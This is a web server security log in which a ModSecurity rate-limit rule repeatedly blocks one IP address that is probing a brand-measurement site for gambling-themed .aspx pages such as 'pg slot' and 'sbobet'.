[Sun Apr 05 09:43:00.472113 2026] [:error] [pid 45303:tid 45335] [client 217.182.195.126:34052] [client 217.182.195.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20osaka.aspx"] [unique_id "adG-JLboQ9eViZ4hdnnN2gAAABI"]
[Sun Apr 05 09:43:02.908953 2026] [:error] [pid 45305:tid 45395] [client 217.182.195.126:34058] [client 217.182.195.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20789.aspx"] [unique_id "adG-JujDQjr7aWhjflDKIwAAAJg"]
[Sun Apr 05 09:43:03.184139 2026] [:error] [pid 45305:tid 45390] [client 217.182.195.126:34064] [client 217.182.195.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20plus.aspx"] [unique_id "adG-J-jDQjr7aWhjflDKJQAAAJM"]
[Sun Apr 05 09:43:05.801613 2026] [:error] [pid 30921:tid 30930] [client 217.182.195.126:47726] [client 217.182.195.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20888th.aspx"] [unique_id "adG-KWFGQVn8Q0ueB27LRwAAAQc"]
[Sun Apr 05 09:43:05.867355 2026] [:error] [pid 30921:tid 30940] [client 217.182.195.126:47732] [client 217.182.195.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20168.aspx"] [unique_id "adG-KWFGQVn8Q0ueB27LSAAAARE"]
[Sun Apr 05 09:43:08.504616 2026] [:error] [pid 45409:tid 45412] [client 217.182.195.126:47754] [client 217.182.195.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20789.aspx"] [unique_id "adG-LNHt_Oyw03gjCNhL3QAAAME"]
[Sun Apr 05 09:43:08.601580 2026] [:error] [pid 45409:tid 45424] [client 217.182.195.126:47748] [client 217.182.195.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20auto%20wallet.aspx"] [unique_id "adG-LNHt_Oyw03gjCNhL3gAAAM0"]
[Sun Apr 05 09:43:10.859610 2026] [:error] [pid 45305:tid 45375] [client 217.182.195.126:47764] [client 217.182.195.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20888th.aspx"] [unique_id "adG-LujDQjr7aWhjflDKPgAAAIQ"]
[Sun Apr 05 09:43:12.169976 2026] [:error] [pid 45303:tid 45340] [client 217.182.195.126:47768] [client 217.182.195.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20auto.aspx"] [unique_id "adG-MLboQ9eViZ4hdnnN5QAAABc"]
[Sun Apr 05 09:43:14.012674 2026] [:error] [pid 45305:tid 45373] [client 217.182.195.126:47780] [client 217.182.195.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20auto%20wallet.aspx"] [unique_id "adG-MujDQjr7aWhjflDKSAAAAII"]
[Sun Apr 05 09:43:14.890668 2026] [:error] [pid 45409:tid 45412] [client 217.182.195.126:47782] [client 217.182.195.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20game.aspx"] [unique_id "adG-MtHt_Oyw03gjCNhL8AAAAME"]
[Sun Apr 05 09:43:17.172860 2026] [:error] [pid 30921:tid 30926] [client 217.182.195.126:39352] [client 217.182.195.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20auto.aspx"] [unique_id "adG-NWFGQVn8Q0ueB27LWQAAAQM"]
[Sun Apr 05 09:43:17.666838 2026] [:error] [pid 30921:tid 30943] [client 217.182.195.126:39356] [client 217.182.195.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20vegas.aspx"] [unique_id "adG-NWFGQVn8Q0ueB27LWwAAARQ"]
[Sun Apr 05 09:43:20.489602 2026] [:error] [pid 45305:tid 45390] [client 217.182.195.126:39384] [client 217.182.195.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20game.aspx"] [unique_id "adG-OOjDQjr7aWhjflDKWgAAAJM"]
[Sun Apr 05 09:43:20.940626 2026] [:error] [pid 45305:tid 45395] [client 217.182.195.126:39368] [client 217.182.195.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20vip.aspx"] [unique_id "adG-OOjDQjr7aWhjflDKXgAAAJg"]
[Sun Apr 05 09:43:23.005609 2026] [:error] [pid 45305:tid 45384] [client 217.182.195.126:39386] [client 217.182.195.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20vegas.aspx"] [unique_id "adG-O-jDQjr7aWhjflDKbAAAAI0"]
[Sun Apr 05 09:43:24.087705 2026] [:error] [pid 45409:tid 45425] [client 217.182.195.126:39394] [client 217.182.195.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "adG-PNHt_Oyw03gjCNhMAQAAAM4"]
[Sun Apr 05 09:43:26.879331 2026] [:error] [pid 45304:tid 45359] [client 217.182.195.126:59756] [client 217.182.195.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20vip.aspx"] [unique_id "adG-Pg5jnqDKKovdRklFoQAAAE8"]
[Sun Apr 05 09:43:27.306115 2026] [:error] [pid 45305:tid 45385] [client 217.182.195.126:59762] [client 217.182.195.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot.aspx"] [unique_id "adG-P-jDQjr7aWhjflDKhwAAAI4"]
[Sun Apr 05 09:43:29.913261 2026] [:error] [pid 45305:tid 45395] [client 217.182.195.126:59774] [client 217.182.195.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "adG-QejDQjr7aWhjflDKkAAAAJg"]
[Sun Apr 05 09:43:30.041809 2026] [:error] [pid 45305:tid 45385] [client 217.182.195.126:59780] [client 217.182.195.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot168.aspx"] [unique_id "adG-QujDQjr7aWhjflDKkgAAAI4"]
[Sun Apr 05 09:43:32.600477 2026] [:error] [pid 45305:tid 45373] [client 217.182.195.126:59786] [client 217.182.195.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot99.aspx"] [unique_id "adG-ROjDQjr7aWhjflDKlwAAAII"]
[Sun Apr 05 09:43:32.985574 2026] [:error] [pid 45305:tid 45392] [client 217.182.195.126:59794] [client 217.182.195.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot.aspx"] [unique_id "adG-ROjDQjr7aWhjflDKmQAAAJU"]
[Sun Apr 05 09:43:35.376036 2026] [:error] [pid 45303:tid 45339] [client 217.182.195.126:59806] [client 217.182.195.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20soft.aspx"] [unique_id "adG-R7boQ9eViZ4hdnnODgAAABY"]
[Sun Apr 05 09:43:35.621865 2026] [:error] [pid 45409:tid 45431] [client 217.182.195.126:59812] [client 217.182.195.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot168.aspx"] [unique_id "adG-R9Ht_Oyw03gjCNhMGAAAANQ"]
[Sun Apr 05 09:43:38.163107 2026] [:error] [pid 45409:tid 45432] [client 217.182.195.126:59208] [client 217.182.195.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20th.aspx"] [unique_id "adG-StHt_Oyw03gjCNhMIgAAANU"]
[Sun Apr 05 09:43:38.923957 2026] [:error] [pid 45303:tid 45317] [client 217.182.195.126:59224] [client 217.182.195.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot99.aspx"] [unique_id "adG-SrboQ9eViZ4hdnnOFAAAAAA"]
[Sun Apr 05 09:43:41.555510 2026] [:error] [pid 45303:tid 45337] [client 217.182.195.126:59238] [client 217.182.195.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20thailand.aspx"] [unique_id "adG-TbboQ9eViZ4hdnnOGAAAABQ"]
[Sun Apr 05 09:43:41.588762 2026] [:error] [pid 45304:tid 45355] [client 217.182.195.126:59242] [client 217.182.195.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20soft.aspx"] [unique_id "adG-TQ5jnqDKKovdRklFrgAAAEs"]
[Sun Apr 05 09:43:44.142974 2026] [:error] [pid 45303:tid 45333] [client 217.182.195.126:59248] [client 217.182.195.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20th.aspx"] [unique_id "adG-ULboQ9eViZ4hdnnOHQAAABA"]
[Sun Apr 05 09:43:44.439853 2026] [:error] [pid 45409:tid 45425] [client 217.182.195.126:59262] [client 217.182.195.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20wallet.aspx"] [unique_id "adG-UNHt_Oyw03gjCNhMLgAAAM4"]
[Sun Apr 05 09:43:46.839688 2026] [:error] [pid 30921:tid 30936] [client 217.182.195.126:51702] [client 217.182.195.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20thailand.aspx"] [unique_id "adG-UmFGQVn8Q0ueB27LhgAAAQ0"]
[Sun Apr 05 09:43:47.357660 2026] [:error] [pid 30921:tid 30947] [client 217.182.195.126:51706] [client 217.182.195.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20world.aspx"] [unique_id "adG-U2FGQVn8Q0ueB27LiAAAARg"]
[Sun Apr 05 09:43:49.338390 2026] [:error] [pid 30921:tid 30934] [client 217.182.195.126:51710] [client 217.182.195.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20wallet.aspx"] [unique_id "adG-VWFGQVn8Q0ueB27LjgAAAQs"]
[Sun Apr 05 09:43:50.065683 2026] [:error] [pid 45409:tid 45420] [client 217.182.195.126:51726] [client 217.182.195.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pgslot%20login.aspx"] [unique_id "adG-VtHt_Oyw03gjCNhMQQAAAMk"]
[Sun Apr 05 09:43:51.919632 2026] [:error] [pid 45305:tid 45382] [client 217.182.195.126:51728] [client 217.182.195.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20world.aspx"] [unique_id "adG-V-jDQjr7aWhjflDK2QAAAIs"]
[Sun Apr 05 09:43:53.179843 2026] [:error] [pid 45305:tid 45391] [client 217.182.195.126:51738] [client 217.182.195.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pgzeed%20gold.aspx"] [unique_id "adG-WejDQjr7aWhjflDK3gAAAJQ"]
[Sun Apr 05 09:43:54.709104 2026] [:error] [pid 45409:tid 45430] [client 217.182.195.126:51748] [client 217.182.195.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pgslot%20login.aspx"] [unique_id "adG-WtHt_Oyw03gjCNhMTgAAANM"]
[Sun Apr 05 09:44:08.244353 2026] [:error] [pid 45305:tid 45372] [client 217.182.195.126:58438] [client 217.182.195.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sbobet%20auto.aspx"] [unique_id "adG-aOjDQjr7aWhjflDLEwAAAIE"]
[Sun Apr 05 09:44:08.286586 2026] [:error] [pid 45304:tid 45368] [client 217.182.195.126:58448] [client 217.182.195.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/royal%20slot.aspx"] [unique_id "adG-aA5jnqDKKovdRklFxgAAAFg"]
[Sun Apr 05 09:44:10.876664 2026] [:error] [pid 30921:tid 30926] [client 217.182.195.126:58326] [client 217.182.195.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sbobet%20ca.aspx"] [unique_id "adG-amFGQVn8Q0ueB27LmwAAAQM"]
[Sun Apr 05 09:44:11.201528 2026] [:error] [pid 45305:tid 45373] [client 217.182.195.126:58340] [client 217.182.195.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sa%20casino.aspx"] [unique_id "adG-a-jDQjr7aWhjflDLHAAAAII"]
[Sun Apr 05 09:44:13.746441 2026] [:error] [pid 45305:tid 45393] [client 217.182.195.126:58354] [client 217.182.195.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20777.aspx"] [unique_id "adG-bejDQjr7aWhjflDLMAAAAJY"]
[Sun Apr 05 09:44:13.829300 2026] [:error] [pid 45305:tid 45378] [client 217.182.195.126:58370] [client 217.182.195.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sbobet%20auto.aspx"] [unique_id "adG-bejDQjr7aWhjflDLMQAAAIc"]
[Sun Apr 05 09:44:16.363201 2026] [:error] [pid 30921:tid 30927] [client 217.182.195.126:48772] [client 217.182.195.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sbobet%20ca.aspx"] [unique_id "adG-cGFGQVn8Q0ueB27LogAAAQQ"]
[Sun Apr 05 09:44:16.496450 2026] [:error] [pid 30921:tid 30947] [client 217.182.195.126:48782] [client 217.182.195.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20888.aspx"] [unique_id "adG-cGFGQVn8Q0ueB27LpAAAARg"]
[Sun Apr 05 09:44:18.905499 2026] [:error] [pid 45409:tid 45421] [client 217.182.195.126:48800] [client 217.182.195.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20777.aspx"] [unique_id "adG-ctHt_Oyw03gjCNhMjQAAAMo"]
[Sun Apr 05 09:44:18.922587 2026] [:error] [pid 45305:tid 45385] [client 217.182.195.126:48790] [client 217.182.195.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%2099.aspx"] [unique_id "adG-cujDQjr7aWhjflDLQQAAAI4"]
[Sun Apr 05 09:44:21.824512 2026] [:error] [pid 45303:tid 45330] [client 217.182.195.126:48814] [client 217.182.195.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20888.aspx"] [unique_id "adG-dbboQ9eViZ4hdnnOVwAAAA0"]
[Sun Apr 05 09:44:21.970053 2026] [:error] [pid 45303:tid 45340] [client 217.182.195.126:48806] [client 217.182.195.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20auto.aspx"] [unique_id "adG-dbboQ9eViZ4hdnnOWAAAABc"]
[Sun Apr 05 09:44:24.774099 2026] [:error] [pid 30921:tid 30939] [client 217.182.195.126:48816] [client 217.182.195.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%2099.aspx"] [unique_id "adG-eGFGQVn8Q0ueB27LqgAAARA"]
[Sun Apr 05 09:44:24.924605 2026] [:error] [pid 30921:tid 30945] [client 217.182.195.126:48824] [client 217.182.195.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20demo.aspx"] [unique_id "adG-eGFGQVn8Q0ueB27LrAAAARY"]
[Sun Apr 05 09:44:27.206739 2026] [:error] [pid 45409:tid 45415] [client 217.182.195.126:44358] [client 217.182.195.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20auto.aspx"] [unique_id "adG-e9Ht_Oyw03gjCNhMpwAAAMQ"]
[Sun Apr 05 09:44:27.513293 2026] [:error] [pid 45409:tid 45411] [client 217.182.195.126:44372] [client 217.182.195.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20free.aspx"] [unique_id "adG-e9Ht_Oyw03gjCNhMqQAAAMA"]
